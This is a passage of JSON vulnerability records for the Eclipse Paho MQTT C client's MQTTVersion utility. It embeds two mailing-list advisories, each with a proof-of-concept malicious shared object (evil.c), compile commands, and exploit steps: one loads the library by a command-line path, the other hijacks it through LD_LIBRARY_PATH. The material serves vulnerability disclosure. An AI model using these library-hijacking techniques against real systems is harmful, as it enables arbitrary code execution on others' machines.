        ],
        "discovery": "EXTERNAL"
      },
      "title": "Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0176",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13",
            "automated": true,
            "contentSha256": "7c39369d705198ae277a5070c4d46a28593d4c39e376b63ad98b72577202714f",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:47:08Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-08T07:25:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0176"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Paho",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nunsafe loading and execution of untrusted shared libraries. When a user\nsupplies a shared library path as a command-line argument, the application\nloads the library using dlopen() and resolves an exported symbol using\ndlsym(). The resolved function pointer is invoked directly without\nvalidating the origin or trustworthiness of the loaded library and without\nenforcing a security boundary. Because the supplied shared object is fully\nattacker-controlled, an attacker may export the expected symbol and execute\narbitrary code when the function is invoked. This results in arbitrary code\nexecution in the context of the running process.\n\n\n*Impact:*An attacker can execute arbitrary code with the privileges of the\nuser running the MQTTVersion utility by providing a crafted shared object.\nThis may result in command execution, data manipulation, or compromise of\nthe execution environment. The impact is significantly increased if the\nutility is executed by privileged users or within automated tooling such as\nCI/CD pipelines, packaging systems, or administrative scripts.\n\n*Affected Code:*\nfunc_address = dlsym(APILibrary, \"MQTTAsync_getVersionInfo\");\n(*func_address)();\n\n*Attack Scenario:*\n\n   1. An attacker creates a malicious shared object exporting the expected\n   symbol.\n   2. The attacker supplies the shared object path as a command-line\n   argument.\n   3. The utility loads the attacker-controlled library and invokes the\n   exported function.\n   4. Arbitrary attacker-controlled code executes in the context of the\n   process.\n\n\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n    const char* name;\n    const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n    system(\"echo RCE_FROM_SO\");\n    static MQTTAsync_nameValue v[] = {\n        {\"PWNED\", \"Untrusted library executed\"},\n        {NULL, NULL}\n    };\n    return v;\n}\n\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libevil.so\n\n*Exploit:*\n./MQTTVersion ./libevil.so\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nRCE_FROM_SO\nPWNED: Function pointer executed\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:25:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/12"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Paho v1.3.15 Arbitrary Code Execution via Untrusted Dynamic Library Execution",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0175",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/12",
            "automated": true,
            "contentSha256": "9942f785b839d0e2c0ef3c6bb00a5956ab0743e6b038491cd68573c487b9fe85",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:46:35Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-08T07:25:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0175"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Paho",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nuncontrolled loading of shared libraries using non-absolute paths. The\napplication invokes dlopen() with relative library names and relies on the\ndynamic loader\u2019s search path to resolve the target library. Because the\nlibrary origin is not restricted to trusted directories and no integrity or\nauthenticity checks are performed, an attacker can cause a malicious shared\nobject to be loaded and executed.This vulnerability occurs when the process\ninherits a user-controlled library search path, such as through the\nLD_LIBRARY_PATH environment variable. Under these conditions, an\nattacker-supplied shared object with a matching library name will be loaded\ninstead of the legitimate library.\n\n*Impact:*\nAn attacker can execute arbitrary code in the context of the user running\nthe MQTTVersion utility. If the utility is executed with elevated\nprivileges or within automated environments (e.g., CI/CD pipelines,\npackaging systems, or administrative scripts), this vulnerability may\nresult in full system compromise.\n\n*Affected Code:*\nvoid* APILibrary = dlopen(\"libpaho-mqtt3c.so.1\", RTLD_LAZY);\n\n*Attack Scenario:*\n\n   1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1\n   in a directory they control.\n   2. The attacker modifies the runtime environment to include this\n   directory in the loader search path.\n   3. When the utility is executed, the malicious library is loaded and\n   attacker-controlled code executes.\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n    const char* name;\n    const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n    system(\"echo RCE_FROM_SO\");\n    static MQTTAsync_nameValue v[] = {\n        {\"PWNED\", \"Function pointer executed\"},\n        {NULL, NULL}\n    };\n    return v;\n}\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1\n\n*Exploitation:*\nexport LD_LIBRARY_PATH=$PWD\n./MQTTVersion\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nSpecify a particular library name if it is not in the current directory, or\nnot executable on this platform\n--- Trying library paho-mqtt3c ---\nRCE_FROM_SO\nPWNED: Function pointer executed\n--- Trying library paho-mqtt3cs ---\nError loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3a ---\nError loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3as ---\nError loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:\ncannot open shared object file: No such file or directory\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:25:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/4"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0174",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4",
            "automated": true,
            "contentSha256": "f328761ce2b86b14048d9988042bbdc244b32c0e05c5947c489184368640aa26",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:45:53Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-08T07:25:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0174"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}